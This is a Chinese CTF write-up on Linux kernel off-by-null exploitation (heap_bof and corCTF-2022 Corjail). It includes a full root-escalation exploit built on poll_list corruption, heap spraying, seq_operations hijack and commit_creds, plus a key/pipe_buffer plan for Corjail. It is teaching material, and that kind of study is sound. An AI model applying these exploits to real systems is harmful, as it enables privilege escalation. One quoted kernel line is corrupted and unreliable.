Linux kernel 堆溢出利用方法(二)

news2024/11/14 2:47:41

前言

本文我们通过我们的老朋友heap_bof来讲解Linux kerneloff-by-null的利用手法。在通过讲解另一道相对来说比较困难的kernel off-by-null + docker escape来深入了解这种漏洞的利用手法。(没了解过docker逃逸的朋友也可以看懂,毕竟有了root权限后,docker逃逸就变的相对简单了)。

off by null

我们还是使用上一篇的例题heap_bof来讲解这种利用手法,现在我们假设这道题没有提供free,并且只有单字节溢出,并且溢出的单字节只能是NULL,那么我们应该怎麼去利用呢?

利用思路

boot.sh

#!/bin/bash

qemu-system-x86_64 \
  -initrd rootfs.img \
  -kernel bzImage \
  -m 1G \
  -append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet nokaslr' \
  -monitor /dev/null \
  -s \
  -cpu kvm64 \
  -smp cores=1,threads=2 \
  --nographic

poll系统调用

/*
*   @fds: pollfd类型的一个数组
*   @nfds: 前面的参数fds中条目的个数
*   @timeout: 事件发生的毫秒数
*/
int poll(struct pollfd *fds, nfds_t nfds, int timeout);

poll_list 结构体对象是在调用 poll() 时分配,该调用可以监视 1 个或多个文件描述符的活动。

struct pollfd {
	int fd;
	short events;
	short revents;
};

struct poll_list {
    struct poll_list *next; // 指向下一个poll_list
    int len; // 对应于条目数组中pollfd结构的数量
    struct pollfd entries[]; // 存储pollfd结构的数组
};

poll_list 结构如下图所示,前 30poll_fd 在栈上,后面的都在堆上,最多 510poll_fd 在一个堆上的 poll_list 上,堆上的 poll_list 最大为 0x1000

poll_list 分配/释放

do_sys_poll 函数完成 poll_list 的分配和释放。poll_list 的是超时自动释放的,我们可以指定 poll_list 的释放时间。

#define POLL_STACK_ALLOC	256
#define PAGE_SIZE 4096
//(4096-16)/8 = 510(堆上存放pollfd最大数量)
#define POLLFD_PER_PAGE  ((PAGE_SIZE-sizeof(struct poll_list)) / sizeof(struct pollfd))	
//(256-16)/8 = 30 (栈上存放pollfd最大数量)
#define N_STACK_PPS ((sizeof(stack_pps) - sizeof(struct poll_list))  / sizeof(struct pollfd))

[...]

static int do_sys_poll(struct pollfd __user *ufds, unsigned int nfds,
		struct timespec64 *end_time)
{

    struct poll_wqueues table;
    int err = -EFAULT, fdcount, len;
    /* Allocate small arguments on the stack to save memory and be
       faster - use long to make sure the buffer is aligned properly
       on 64 bit archs to avoid unaligned access */
                
    /*
    *  [1] stack_pps 256 字节的栈缓冲区, 负责存储前 30 个 pollfd entry
    */
    long stack_pps[POLL_STACK_ALLOC/sizeof(long)]; 
    struct poll_list *const head = (struct poll_list *)stack_pps;
    struct poll_list *walk = head;
 	unsigned long todo = nfds;

	if (nfds > rlimit(RLIMIT_NOFILE))
		return -EINVAL;
	/*
	*  [2] 前30个 pollfd entry 先存放在栈上,节省内存和时间
	*/
	len = min_t(unsigned int, nfds, N_STACK_PPS);

	for (;;) {
		walk->next = NULL;
		walk->len = len;
		if (!len)
			break;

		if (copy_from_user(walk->entries, ufds + nfds-todo, sizeof(struct pollfd) * walk->len))
			goto out_fds;

		todo -= walk->len;
		if (!todo)
			break;
        /*
        * 	[3] 如果提交超过30个 pollfd entries,就会把多出来的 pollfd 放在内核堆上。
        * 	每个page 最多存 POLLFD_PER_PAGE (510) 个entry, 
        * 	超过这个数,则分配新的 poll_list, 依次循环直到存下所有传入的 entry
        */
		len = min(todo, POLLFD_PER_PAGE);
        /*
        *   [4] 只要控制好被监控的文件描述符数量,就能控制分配size,从 kmalloc-32 到 kmalloc-4k
        */
		walk = walk->next = kmalloc(struct_size(walk, entries, len), GFP_KERNEL); 			
		if (!walk) {
			err = -ENOMEM;
			goto out_fds;
		}
	}

	poll_initwait(&table);
    /*
    * 	[5] 分配完 poll_list 对象后,调用 do_poll() 来监控这些文件描述符,直到发生特定 event 或者超时。
    *   这里 end_time 就是最初传给 poll() 的超时变量, 这表示 poll_list 对象可以在内存中保存任意时长,超时后自动释放。
    */
	fdcount = do_poll(head, &table, end_time);  
	poll_freewait(&table);

	if (!user_write_access_begin(ufds, nfds * sizeof(*ufds))and)
		goto out_fds;

	for (walk = head; walk; walk = walk->next) {
		struct pollfd *fds = walk->entries;
		int j;

		for (j = walk->len; j; fds++, ufds++, j--)
			unsafe_put_user(fds->revents, &ufds->revents, Efault);
  	}
	user_write_access_end();

	err = fdcount;
out_fds:
	walk = head->next;
	while (walk) { 		// [6] 释放 poll_list: 遍历单链表, 释放每一个 poll_list, 这里可以利用
		struct poll_list *pos = walk;
		walk = walk->next;
		kfree(pos);
	}

	return err;

Efault:
	user_write_access_end();
	err = -EFAULT;
	goto out_fds;
}

我们可以去找到一些结构体,其头 8 字节是一个指针,然后利用 off by null 去损坏该指针,比如使得 0xXXXXa0 变成 0xXXXX00,然后就可以考虑利用堆喷去构造 UAF 了。

帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

详细流程

  1. 首先分配 kmalloc-4096 大小的结构题在ptr[0]

  2. 然后构造这样的poll_list结构体。

  3. 利用off-by-nullpoll_list->next的最后一个字节改为空。然后大量分配kmalloc-32obj内存,这里只所以是 32 字节大小是因为要与后面的 seq_operations 配合,并且 32 大小的 object 其低字节是可能为 \x00 的,其低字节为 0x200x400x800xa00xc00xe00x00。运气好可以被我们篡改后的poll_list->next指到。但对于这道题来说我们没有足够的堆块用于堆喷,所以成功率是极低的。

  4. 等待poll_list线程执行完毕,并且我们分配的kmalloc-32被错误释放,分配大量的seq_operations,运气好可以正好被分配到我们释放的kmalloc-32,形成UAF,这样我们就可以利用UAF修改seq_operations->start指针指向提权代码。

  5. 提权可以参考上一篇文章,利用栈上的残留值来bypass kaslr

exp

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <asm/ldt.h>
#include <assert.h>
#include <ctype.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/keyctl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <semaphore.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/sem.h>
#include <sys/shm.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/xattr.h>
#include <unistd.h>
#include <sys/sysinfo.h>

#define BOF_MALLOC 5
#define BOF_FREE 7
#define BOF_EDIT 8
#define BOF_READ 9

#define SEQ_NUM (2048 + 128)
#define TTY_NUM 72
#define PIPE_NUM 1024
#define KEY_NUM 199

char buf[0x20];
int bof_fd;
int key_id[KEY_NUM];

#define N_STACK_PPS 30
#define POLL_NUM 0x1000
#define PAGE_SIZE 0x1000

struct param {
    size_t len;        // 内容长度
    char *buf;         // 用户态缓冲区地址
    unsigned long idx; // 表示 ptr 数组的 索引
};

size_t user_cs, user_rflags, user_sp, user_ss;

void save_status() {
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;");
    puts("[*] status has been saved.");
}

void get_shell(void) {
    system("/bin/sh");
}

void qword_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("[*] %s:\n", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

/*--------------------------------------------------------------------------------------------------*/

struct callback_head {
    struct callback_head *next;
    void (*func)(struct callback_head *head);
} __attribute__((aligned(sizeof(void *))));

#define rcu_head callback_head
#define __aligned(x)                    __attribute__((__aligned__(x)))
typedef unsigned long long u64;

struct user_key_payload {
    struct rcu_head rcu;        /* RCU destructor */
    unsigned short datalen;    /* length of this data */
    char data[0] __aligned(__alignof__(u64)); /* actual data */
};

int key_alloc(int id, void *payload, int payload_len) {
    char description[0x10] = {};
    sprintf(description, "pwn_%d", id);
    return key_id[id] = syscall(__NR_add_key, "user", description, payload, payload_len - sizeof(struct user_key_payload), KEY_SPEC_PROCESS_KEYRING);
}

int key_update(int id, void *payload, size_t plen) {
    return syscall(__NR_keyctl, KEYCTL_UPDATE, key_id[id], payload, plen);
}

int key_read(int id, void *bufer, size_t buflen) {
    return syscall(__NR_keyctl, KEYCTL_READ, key_id[id], bufer, buflen);
}

int key_revoke(int id) {
    return syscall(__NR_keyctl, KEYCTL_REVOKE, key_id[id], 0, 0, 0);
}

int key_unlink(int id) {
    return syscall(__NR_keyctl, KEYCTL_UNLINK, key_id[id], KEY_SPEC_PROCESS_KEYRING);
}

/*--------------------------------------------------------------------------------------------------*/

pthread_t tid[40];

typedef struct {
    int nfds, timer;
} poll_args;

struct poll_list {
    struct poll_list *next;
    int len;
    struct pollfd entries[];
};

void* alloc_poll_list(void *args) {
    int nfds = ((poll_args *) args)->nfds;
    int timer = ((poll_args *) args)->timer;

    struct pollfd *pfds = calloc(nfds, sizeof(struct pollfd));
    for (int i = 0; i < nfds; i++) {
        pfds[i].fd = open("/etc/passwd", O_RDONLY);
        pfds[i].events = POLLERR;
    }
    poll(pfds, nfds, timer);
}

void* create_poll_list(size_t size, int timer, int i) {
    poll_args *args = calloc(1, sizeof(poll_args));
    args->nfds = (size - (size + PAGE_SIZE - 1) / PAGE_SIZE * sizeof(struct poll_list)) / sizeof(struct pollfd) + N_STACK_PPS;
    args->timer = timer;

    pthread_create(&tid[i], NULL, alloc_poll_list, args);
}

/*--------------------------------------------------------------------------------------------------*/

struct list_head {
    struct list_head *next, *prev;
};
struct tty_file_private {
    struct tty_struct *tty;
    struct file *file;
    struct list_head list;
};

struct page;
struct pipe_inode_info;
struct pipe_buf_operations;

struct pipe_bufer {
    struct page *page;
    unsigned int offset, len;
    const struct pipe_buf_operations *ops;
    unsigned int flags;
    unsigned long private;
};

struct pipe_buf_operations {
    int (*confirm)(struct pipe_inode_info *, struct pipe_bufer *);
    void (*release)(struct pipe_inode_info *, struct pipe_bufer *);
    int (*try_steal)(struct pipe_inode_info *, struct pipe_bufer *);
    int (*get)(struct pipe_inode_info *, struct pipe_bufer *);
};

/*--------------------------------------------------------------------------------------------------*/

void *(*commit_creds)(void *) = (void *) 0xFFFFFFFF810A1340;
void *init_cred = (void *) 0xFFFFFFFF81E496C0;
size_t user_rip = (size_t) get_shell;

size_t kernel_offset;
void get_root() {
    __asm__(
        "mov rax, [rsp + 8];"
        "mov kernel_offset, rax;"
    );
    kernel_offset -= 0xffffffff81229378;
    commit_creds = (void *) ((size_t) commit_creds + kernel_offset);
    init_cred = (void *) ((size_t) init_cred + kernel_offset);
    commit_creds(init_cred);
    __asm__(
        "swapgs;"
        "push user_ss;"
        "push user_sp;"
        "push user_rflags;"
        "push user_cs;"
        "push user_rip;"
        "iretq;"
    );
}

/*--------------------------------------------------------------------------------------------------*/

int main() {
    save_status();
    signal(SIGSEGV, (void *) get_shell);
    bof_fd = open("dev/bof", O_RDWR);
    int seq_fd[SEQ_NUM];

    printf("[*] try to alloc_kmalloc-4096\n");
    size_t* mem = malloc(0x1010);
    memset(mem, '\xff', 0x1010);
    struct param p = {0x1000, (char*)mem, 0};
    ioctl(bof_fd, BOF_MALLOC, &p);

    printf("[*] try to spary kmalloc-32\n");
    p.len = 0x20;
    for (int i = 1; i < 20; ++i)
    {
        p.idx = i;
        memset(mem, i, 0x20);
        memset(mem, 0, 0x18);
        ioctl(bof_fd, BOF_MALLOC, &p);
        ioctl(bof_fd, BOF_EDIT, &p);
    }

    printf("[*] try to alloc_poll_list\n");
    for (int i = 0; i < 14; ++i)
    {
        create_poll_list(PAGE_SIZE + sizeof(struct poll_list) + sizeof(struct pollfd), 3000, i);
    }

    printf("[*] try to spary kmalloc-32\n");
    p.len = 0x20;
    for (int i = 20; i < 40; ++i)
    {
        p.idx = i;
        memset(mem, i, 0x20);
        memset(mem, 0, 0x18);
        ioctl(bof_fd, BOF_MALLOC, &p);
        ioctl(bof_fd, BOF_EDIT, &p);
    }

    sleep(1);
//	  调试用代码
//    p.len = 0x1010;
//    p.idx = 0;
//    ioctl(bof_fd, BOF_READ, &p);

//    printf("[*] p->buf == %p\n", (size_t*)mem[0x1008/8]);

    p.len = 0x1001;
    p.idx = 0;
    memset(mem, '\x00', 0x1001);
    ioctl(bof_fd, BOF_EDIT, &p);

    void *res;
    for (int i = 0; i < 14; ++i)
    {
        printf("[*] wating for poll end\n");
        pthread_join(tid[i], &res);
    }

    for (int i = 0; i < 256; ++i)
    {
        seq_fd[i] = open("/proc/self/stat", O_RDONLY);
    }

    sleep(1);

    for (int i = 1; i < 40; ++i)
    {
        p.idx = i;
        p.len = 0x20;

        ioctl(bof_fd, BOF_READ, &p);
        printf("[%d->0] p->buf == %p\n", i, (size_t*)mem[0]);
        printf("[%d->1] p->buf == %p\n", i, (size_t*)mem[1]);
        printf("[%d->2] p->buf == %p\n", i, (size_t*)mem[2]);
        printf("[%d->3] p->buf == %p\n", i, (size_t*)mem[3]);

        mem[0] = (size_t*)get_root;
        mem[1] = (size_t*)get_root;
        mem[2] = (size_t*)get_root;
        mem[3] = (size_t*)get_root;
        ioctl(bof_fd, BOF_EDIT, &p);
    }

    for (int i = 1; i < 40; ++i)
    {
        p.idx = i;
        p.len = 0x20;

        ioctl(bof_fd, BOF_READ, &p);
        printf("[%d->0] p->buf == %p\n", i, (size_t*)mem[0]);
        printf("[%d->1] p->buf == %p\n", i, (size_t*)mem[1]);
        printf("[%d->2] p->buf == %p\n", i, (size_t*)mem[2]);
        printf("[%d->3] p->buf == %p\n", i, (size_t*)mem[3]);
    }



    for (int i = 0; i < 256; i++) {
        read(seq_fd[i], p.buf, 1);
    }

    return 0;
}

corCTF-2022:Corjail

题目分析

我们可以使用 Guestfish 工具读取和修改 qcow2 文件。

run_challenge.sh

#!/bin/sh
qemu-system-x86_64 \
    -m 1G \
    -nographic \
    -no-reboot \
    -kernel bzImage \
    -append "console=ttyS0 root=/dev/sda quiet loglevel=3 rd.systemd.show_status=auto rd.udev.log_level=3 oops=panic panic=-1 net.ifnames=0 pti=on" \
    -hda coros.qcow2 \
    -snapshot \
    -monitor /dev/null \
    -cpu qemu64,+smep,+smap,+rdrand \
    -smp cores=4 \
    --enable-kvm

init脚本

查看服务进程/etc/systemd/system/init.service

Description=Initialize challenge

[Service]
Type=oneshot
ExecStart=/usr/local/bin/init

[Install]
WantedBy=multi-user.target

查看 /usr/local/bin/init 脚本;

 cat /usr/local/bin/init
#!/bin/bash

USER=user

FLAG=$(head -n 100 /dev/urandom | sha512sum | awk '{printf $1}')

useradd --create-home --shell /bin/bash $USER

echo "export PS1='\[\033[01;31m\]\u@CoROS\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]# '"  >> /root/.bashrc
echo "export PS1='\[\033[01;35m\]\u@CoROS\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '" >> /home/$USER/.bashrc

chmod -r 0700 /home/$USER

mv /root/temp /root/$FLAG
chmod 0400 /root/$FLAG

password

❯ guestfish --rw -a coros.qcow2
><fs> run
><fs> list-filesystems
/dev/sda: ext4
><fs> mount /dev/sda /
><fs> cat /etc/password
libguestfs: error: download: /etc/password: No such file or directory
><fs> cat /etc/passwd
root:x:0:0:root:/root:/usr/local/bin/jail
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
......

root_shell

查看root用户的/usr/local/bin/jail;

><fs> cat /usr/local/bin/jail
#!/bin/bash

echo -e '[\033[5m\e[1;33m!\e[0m] Spawning a shell in a CoRJail...'

/usr/bin/docker run -it --user user \
	--hostname CoRJail \
    --security-opt seccomp=/etc/docker/corjail.json \
    -v /proc/cormon:/proc_rw/cormon:rw corcontainer

/bin/bash

/usr/sbin/poweroff -f

发现其启动rootshell 后是首先调用 docker来构建了一个容器然后关闭自身,在那之后我们起的虚拟环境就是处于该docker容器当中。

为了方便调试,我们可以使用edit将其修改为:

><fs> edit /usr/local/bin/jail 
><fs> cat /usr/local/bin/jail
#!/bin/bash

echo -e '[\033[5m\e[1;33m!\e[0m] Spawning a shell in a CoRJail...'

cp /exploit /home/user || echo "[!] exploit not found, skipping"

chown -R user:user /home/user

echo 0 > /proc/sys/kernel/kptr_restrict

/usr/bin/docker run -it --user root \
  --hostname CoRJail \
  --security-opt seccomp=/etc/docker/corjail.json \
  # 允许容器能够调用与日志相关的系统调用
  --cap-add CAP_SYSLOG \
  # 将宿主机的 /proc/cormon 目录挂载到容器内的 /proc_rw/cormon,并且以读写模式挂载。
  -v /proc/cormon:/proc_rw/cormon:rw \
  # 将宿主机的 /home/user/ 目录挂载到容器内的 /home/user/host
  -v /home/user/:/home/user/host \
  corcontainer

/bin/bash

/usr/sbin/poweroff -f

edit 的用法和 vim 一样。

后面我们上传 exp 的时候可以使用 upload 命令,其格式如下:

><fs> help upload
NAME
    upload - upload a file from the local machine

SYNOPSIS
     upload filename remotefilename

DESCRIPTION
    Upload local file filename to remotefilename on the filesystem.

    filename can also be a named pipe.

    See also "download".

kernel_patch

diff -ruN a/arch/x86/entry/syscall_64.c b/arch/x86/entry/syscall_64.c
--- a/arch/x86/entry/syscall_64.c	2022-06-29 08:59:54.000000000 +0200
+++ b/arch/x86/entry/syscall_64.c	2022-07-02 12:34:11.237778657 +0200
@@ -17,6 +17,9 @@
 
 #define __SYSCALL_64(nr, sym) [nr] = __x64_##sym,
 
+DEFINE_PER_CPU(u64 [NR_syscalls], __per_cpu_syscall_count);
+EXPORT_PER_CPU_SYMBOL(__per_cpu_syscall_count);
+
 asmlinkage const sys_call_ptr_t sys_call_table[__NR_syscall_max+1] = {
 	/*
 	 * Smells like a compiler bug -- it doesn't work
diff -ruN a/arch/x86/include/asm/syscall_wrapper.h b/arch/x86/include/asm/syscall_wrapper.h
--- a/arch/x86/include/asm/syscall_wrapper.h	2022-06-29 08:59:54.000000000 +0200
+++ b/arch/x86/include/asm/syscall_wrapper.h	2022-07-02 12:34:11.237778657 +0200
@@ -245,7 +245,7 @@
  * SYSCALL_DEFINEx() -- which is essential for the COND_SYSCALL() and SYS_NI()
  * macros to work correctly.
  */
-#define SYSCALL_DEFINE0(sname)						\
+#define __SYSCALL_DEFINE0(sname)						\
 	SYSCALL_METADATA(_##sname, 0);					\
 	static long __do_sys_##sname(const struct pt_regs *__unused);	\
 	__X64_SYS_STUB0(sname)						\
diff -ruN a/include/linux/syscalls.h b/include/linux/syscalls.h
--- a/include/linux/syscalls.h	2022-06-29 08:59:54.000000000 +0200
+++ b/include/linux/syscalls.h	2022-07-02 12:34:11.237778657 +0200
@@ -82,6 +82,7 @@
 #include <linux/key.h>
 #include <linux/personality.h>
 #include <trace/syscall.h>
+#include <asm/syscall.h>
 
 #ifdef CONFIG_ARCH_HAS_SYSCALL_WRAPPER
 /*
@@ -202,8 +203,8 @@
 }
 #endif
 
-#ifndef SYSCALL_DEFINE0
-#define SYSCALL_DEFINE0(sname)					\
+#ifndef __SYSCALL_DEFINE0
+#define __SYSCALL_DEFINE0(sname)					\
 	SYSCALL_METADATA(_##sname, 0);				\
 	asmlinkage long sys_##sname(void);			\
 	ALLOW_ERROR_INJECTION(sys_##sname, ERRNO);		\
@@ -219,9 +220,41 @@
 
 #define SYSCALL_DEFINE_MAXARGS	6
 
-#define SYSCALL_DEFINEx(x, sname, ...)				\
-	SYSCALL_METADATA(sname, x, __VA_ARGS__)			\
-	__SYSCALL_DEFINEx(x, sname, __VA_ARGS__)
+DECLARE_PER_CPU(u64[], __per_cpu_syscall_count);
+
+#define SYSCALL_COUNT_DECLAREx(sname, x, ...) \
+	static inline long __count_sys##sname(__MAP(x, __SC_DECL, __VA_ARGS__));
+
+#define __SYSCALL_COUNT(syscall_nr) \
+	this_cpu_inc(__per_cpu_syscall_count[(syscall_nr)])
+
+#define SYSCALL_COUNT_FUNCx(sname, x, ...)					\
+	{									\
+		__SYSCALL_COUNT(__syscall_meta_##sname.syscall_nr);		\
+		return __count_sys##sname(__MAP(x, __SC_CAST, __VA_ARGS__));	\
+	}									\
+	static inline long __count_sys##sname(__MAP(x, __SC_DECL, __VA_ARGS__))
+
+#define SYSCALL_COUNT_DECLARE0(sname) \
+	static inline long __count_sys_##sname(void);
+
+#define SYSCALL_COUNT_FUNC0(sname)					\
+	{								\
+		__SYSCALL_COUNT(__syscall_meta__##sname.syscall_nr);	\
+		return __count_sys_##sname();				\
+	}								\
+	static inline long __count_sys_##sname(void)
+
+#define SYSCALL_DEFINEx(x, sname, ...)			\
+	SYSCALL_METADATA(sname, x, __VA_ARGS__)		\
+	SYSCALL_COUNT_DECLAREx(sname, x, __VA_ARGS__)	\
+	__SYSCALL_DEFINEx(x, sname, __VA_ARGS__)	\
+	SYSCALL_COUNT_FUNCx(sname, x, __VA_ARGS__)
+
+#define SYSCALL_DEFINE0(sname)		\
+	SYSCALL_COUNT_DECLARE0(sname)	\
+	__SYSCALL_DEFINE0(sname)	\
+	SYSCALL_COUNT_FUNC0(sname)
 
 #define __PROTECT(...) asmlinkage_protect(__VA_ARGS__)
 
diff -ruN a/kernel/trace/trace_syscalls.c b/kernel/trace/trace_syscalls.c
--- a/kernel/trace/trace_syscalls.c	2022-06-29 08:59:54.000000000 +0200
+++ b/kernel/trace/trace_syscalls.c	2022-07-02 12:34:32.902426748 +0200
@@ -101,7 +101,7 @@
 	return NULL;
 }
 
-static struct syscall_metadata *syscall_nr_to_meta(int nr)
+struct syscall_metadata *syscall_nr_to_meta(int nr)
 {
 	if (IS_ENABLED(CONFIG_HAVE_SPARSE_SYSCALL_NR))
 		return xa_load(&syscalls_metadata_sparse, (unsigned long)nr);
@@ -111,6 +111,7 @@
 
 	return syscalls_metadata[nr];
 }
+EXPORT_SYMBOL(syscall_nr_to_meta);
 
 const char *get_syscall_name(int syscall)
 {
@@ -122,6 +123,7 @@
 
 	return entry->name;
 }
+EXPORT_SYMBOL(get_syscall_name);
 
 static enum print_line_t
 print_syscall_enter(struct trace_iterator *iter, int flags,

其中

+DEFINE_PER_CPU(u64 [NR_syscalls], __per_cpu_syscall_count);

为每个CPU都创建一个 __per_cpu_syscall_count变量用来记录系统调用的次数。


seccomp.json 保存了系统调用的白名单。

{
	"defaultAction": "SCMP_ACT_ERRNO",
	"defaultErrnoRet": 1,
	"syscalls": [
		{
			"names": [ "_llseek", "_newselect", "accept", "accept4", "access", ... ],
			"action": "SCMP_ACT_ALLOW"
		},
		{
			"names": [ "clone" ],
			"action": "SCMP_ACT_ALLOW",
			"args": [ { "index": 0, "value": 2114060288, "op": "SCMP_CMP_MASKED_EQ" } ]
		}
	]
}

根据README.md提示,可以在proc_rw/cormon看到使用到的系统调用在各个CPU当中的情况。

root@CoRJail:/# cat /proc_rw/cormon 

      CPU0      CPU1      CPU2      CPU3	Syscall (NR)

         9        16        25        18	sys_poll (7)
         0         0         0         0	sys_fork (57)
        66        64        79        60	sys_execve (59)
         0         0         0         0	sys_msgget (68)
         0         0         0         0	sys_msgsnd (69)
         0         0         0         0	sys_msgrcv (70)
         0         0         0         0	sys_ptrace (101)
        15        19        11         6	sys_setxattr (188)
        27        24        11        20	sys_keyctl (250)
         0         0         2         2	sys_unshare (272)
         0         1         0         0	sys_execveat (322)

也可以指定系统调用。

root@CoRJail:/# echo -n 'sys_msgsnd,sys_msgrcv' > /proc_rw/cormon 
root@CoRJail:/# cat /proc_rw/cormon 

      CPU0      CPU1      CPU2      CPU3	Syscall (NR)

         0         0         0         0	sys_msgsnd (69)
         0         0         0         0	sys_msgrcv (70)

src.c

可以看到 write 存在明显的off-by-null

static ssize_t cormon_proc_write(struct file *file, const char __user *ubuf, size_t count, loff_t *ppos) 
{
    loff_t offset = *ppos;
    char *syscalls;
    size_t len;

    if (offset < 0)
        return -EINVAL;

    if (offset >= PAGE_SIZE || !count)
        return 0;

    len = count > PAGE_SIZE ? PAGE_SIZE - 1 : count;

    syscalls = kmalloc(PAGE_SIZE, GFP_ATOMIC);
    printk(KERN_INFO "[CoRMon::Debug] Syscalls @ %#llx\n", (uint64_t)syscalls);

    if (!syscalls)
    {
        printk(KERN_ERR "[CoRMon::Error] kmalloc() call failed!\n");
        return -ENOMEM;
    }

    if (copy_from_user(syscalls, ubuf, len))
    {
        printk(KERN_ERR "[CoRMon::Error] copy_from_user() call failed!\n");
        return -EFAULT;
    }

    syscalls[len] = '\x00';

    if (update_filter(syscalls))
    {
        kfree(syscalls);
        return -EINVAL;
    }

    kfree(syscalls);

    return count;
}

利用思路

poll_list 利用方式中:

  • 先通过 add_key() 堆喷大量 32 字节大小的 user_key_payload

这里只所以是 32 字节大小是因为要与后面的 seq_operations 配合,并且 32 大小的 object 其低字节是可能为 \x00 的,其低字节为 0x200x400x800xa00xc00xe00x00

  • 然后创建 poll_list 链,其中 poll_list.next 指向的是一个 0x20 大小的 object
  • 触发 off by null,修改 poll_list.next 的低字节为 \x00,这里可能导致其指向某个 user_key_payload
  • 然后等待 timeout 后, 就会导致某个 user_key_payload 被释放,导致 UAF

详细流程如下:

首先,我们要打开有漏洞的模块。
使用bind_core()将当前进程绑定到CPU0,因为我们是在一个多核环境中工作,而slab是按CPU分配的。

void bind_core(bool fixed, bool thread) {
    cpu_set_t cpu_set;
    CPU_ZERO(&cpu_set);
    CPU_SET(fixed ? 0 : randint(1, get_nprocs()), &cpu_set);
    if (thread) {
        pthread_setaffinity_np(pthread_self(), sizeof(cpu_set), &cpu_set);
    } else {
        sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
    }
}

喷射大量 0x20 大小的 user_key_payload 和下图所示 0x1000 + 0x20poll_list

此时内存中 object 的分布如下图所示,其中黄色的是 user_key_payload ,绿色的是 poll_list ,白色是空闲 object

通过 off by null 修改 0x1000 大小的 poll_list ,使得指向 0x20 大小 poll_listnext 指针指向 user_key_payload 。之后释放所有的 poll_list 结构,被 next 指向的的 user_key_payload 也被释放,形成 UAF 。

注意,为了确保释放 poll_list 不出错,要保证 0x20 大小的 poll_listnext 指针为 NULL 。也就是 user_key_payload 的前 8 字节为 NULL 。由于 user_key_payload 的前 8 字节没有初始化,因此可以在申请 user_key_payload 前先用 setxattr 把前 8 字节置为 NULL 。

static long
setxattr(struct dentry *d, const char __user *name, const void __user *value,
	 size_t size, int flags)
{
	int error;
	void *kvalue = NULL;
	char kname[XATTR_NAME_MAX + 1];
	[...]
	if (size) {
		[...]
		kvalue = kvmalloc(size, GFP_KERNEL); // 申请kmalloc-x
		if (!kvalue)
			return -ENOMEM;
        // 修改kmalloc-x内容
		if (copy_from_user(kvalue, value, size)) {
			error = -EFAULT;
			goto out;
		}
		[...]
	}

	error = vfs_setxattr(d, kname, kvalue, size, flags);
out:
	kvfree(kvalue); // 释放kmalloc-x

	return error;
}

另外实测 kmalloc-32freelist 偏移为 16 字节,不会覆盖 next 指针。

喷射 seq_operations 利用 seq_operations->next 的低二字节覆盖 user_key_payload->datalen 实现 user_key_payload 越界读, user_key_payload->data 前 8 字节被覆盖为 seq_operations->show ,可以泄露内核基址。另外可以根据是否越界读判断该 user_key_payload 是否被 seq_operations 覆盖。

struct seq_operations {
	void * (*start) (struct seq_file *m, loff_t *pos);
	void (*stop) (struct seq_file *m, void *v);
	void * (*next) (struct seq_file *m, void *v, loff_t *pos);
	int (*show) (struct seq_file *m, void *v);
};

struct user_key_payload {
	struct rcu_head	rcu;		/* RCU destructor */
	unsigned short	datalen;	/* length of this data */
	char		data[0] __aligned(__alignof__(u64)); /* actual data */
};

struct callback_head {
	struct callback_head *next;
	void (*func)(struct callback_head *head);
} __attribute__((aligned(sizeof(void *))));
#define rcu_head callback_head

之后释放不能越界读的 user_key_payload 并喷射 tty_file_private 填充产生的空闲 object 。之后再次越界读泄露 tty_file_private->tty 指向的 tty_struct ,我们定义这个地址为 target_object

释放 seq_operations ,喷射 0x20 大小的 poll_list 。现在UAF的堆块被user_key_payloadpoll_list占领。在 poll_list 被释放前,释放劫持的 user_key_payload ,利用 setxattr 修改 poll_listnext 指针指向 target_object - 0x18,方便后续伪造pipe_buffer 。为了实现 setxattr 的喷射效果,setxattr 修改过的 object 通过申请 user_key_payload 劫持,确保下次 setxattr 修改的是另外的 object

打开 /dev/ptmx 时会分配 tty_file_private 并且该结构体的 tty 指针会指向 tty_struct

int tty_alloc_file(struct file *file)
{
	struct tty_file_private *priv;

	priv = kmalloc(sizeof(*priv), GFP_KERNEL);
	if (!priv)
		return -ENOMEM;

	file->private_data = priv;

	return 0;
}
// kmalloc-32 | GFP_KERNEL
struct tty_file_private {
	struct tty_struct *tty;
	struct file *file;
	struct list_head list;
};

poll_list 还没有释放,释放 tty_struct 并申请 pipe_buffer ,将 target_object(tty_struct) 替换为 pipe_buffer

struct pipe_buffer {
	struct page *page;
	unsigned int offset, len;
	const struct pipe_buf_operations *ops;
	unsigned int flags;
	unsigned long private;
};

之后 poll_list 释放导致 target_object - 0x18 区域释放。我们可以申请一个 0x400 大小的 user_key_payload 劫持 target_object - 0x18 ,从而劫持 pipe_buffer->ops 实现控制流劫持。

docker逃逸

